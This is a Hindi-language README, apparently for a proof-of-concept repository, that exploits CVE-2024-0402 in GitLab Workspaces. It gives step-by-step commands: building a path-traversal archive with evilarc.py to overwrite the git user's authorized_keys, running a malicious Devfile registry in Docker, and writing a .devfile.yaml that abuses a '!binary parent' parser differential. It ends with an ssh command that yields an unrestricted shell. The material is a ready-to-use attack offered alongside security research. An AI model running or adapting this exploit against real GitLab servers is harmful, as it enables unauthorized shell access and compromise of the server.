
GitLab Workspaces के लिए CVE-2024-0402 एक्सप्लॉइट, दुर्भावनापूर्ण Devfile रजिस्ट्री का उपयोग करके पाथ-ट्रैवर्सल आर्काइव के साथ authorized_keys को अधिलेखित करने और SSH एक्सेस प्राप्त करने के लिए।
इस प्रोजेक्ट में एक दुर्भावनापूर्ण Devfile रजिस्ट्री है जिसका उपयोग Gitlab में CVE-2024-0402 का शोषण करने के लिए किया जा सकता है।
एक nodejs:2.2.1 स्टैक को अनुक्रमित किया गया है, जो registry-support लाइब्रेरी v1.1.0 से पहले में पथ-ट्रैवर्सल समस्या का शोषण करते हुए archive.tar फ़ाइल को उजागर करता है।
tar स्थान: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
इसे evilarc.py का उपयोग करके बनाया गया था, ताकि लक्ष्य Gitlab सर्वर में /var/opt/gitlab/.ssh/authorized_keys को इस रिपॉजिटरी के ssh-keys/ फ़ोल्डर के अंतर्गत SSH कुंजियों के साथ अधिलेखित किया जा सके।
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
एक बार चलने पर, रजिस्ट्री में दुर्भावनापूर्ण .tar को प्राप्त करने योग्य स्टैक्स में जोड़ दिया जाएगा।
index.json में इसे स्टैक संसाधनों में सूचीबद्ध देखें:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
संस्करण <=16.8.0 के साथ एक Gitlab Instance EE कॉन्फ़िगर करें। दस्तावेज़ और हमारे समर्पित !exploitable series blogpost में अतिरिक्त नोट्स का पालन करते हुए उस पर Workspaces सक्षम करें।
जब भी तैयार हों, नीचे दिए गए चरणों का पालन करें:
रजिस्ट्री कंटेनर इमेज बनाने के लिए इस रिपॉजिटरी के रूट में docker build -t devfile-index . चलाएँ
एक स्थानीय कंटेनर रजिस्ट्री चलाने के लिए docker run -d -p 5000:5000 --name local-registrypoc registry:2 चलाएँ जिसका उपयोग Devfile रजिस्ट्री स्टैक को संग्रहीत करने के लिए करेगी। नोट: आपको अपनी आवश्यकता के अनुसार इसे उजागर करने के लिए कमांड को संपादित करना चाहिए। हमारे लिए, यह सब एक स्थानीय वातावरण में हो रहा था
पहले चरण में बनाई गई दुर्भावनापूर्ण Devfile रजिस्ट्री शुरू करने के लिए docker run --network host devfile-index चलाएँ। नोट: पहले की तरह, Gitlab इंस्टेंस द्वारा पहुँच योग्य बनाने के लिए रन कमांड को अपनी इच्छानुसार संपादित करें
लक्ष्य Gitlab सर्वर पर डेवलपर के रूप में प्रमाणित करें, फिर आपके नियंत्रण वाले रिपॉजिटरी के .devfile.yaml को संपादित करें। YAML को दुर्भावनापूर्ण रजिस्ट्री से लाने की अनुमति देने के लिए पार्सर अंतर का शोषण करना चाहिए
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Gitlab UI में फ़ाइल-लेखन को ट्रिगर करने के लिए, संपादित रिपॉजिटरी में एक नया Workspace शुरू करें।
कुछ सेकंड के बाद, मनमाना फ़ाइल लेखन होना चाहिए और ssh-keys/pockey.pub को git उपयोगकर्ता की authorized_keys में जोड़ा जाएगा
आपको git के रूप में एक अप्रतिबंधित शेल का आनंद लेने में सक्षम होना चाहिए:
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>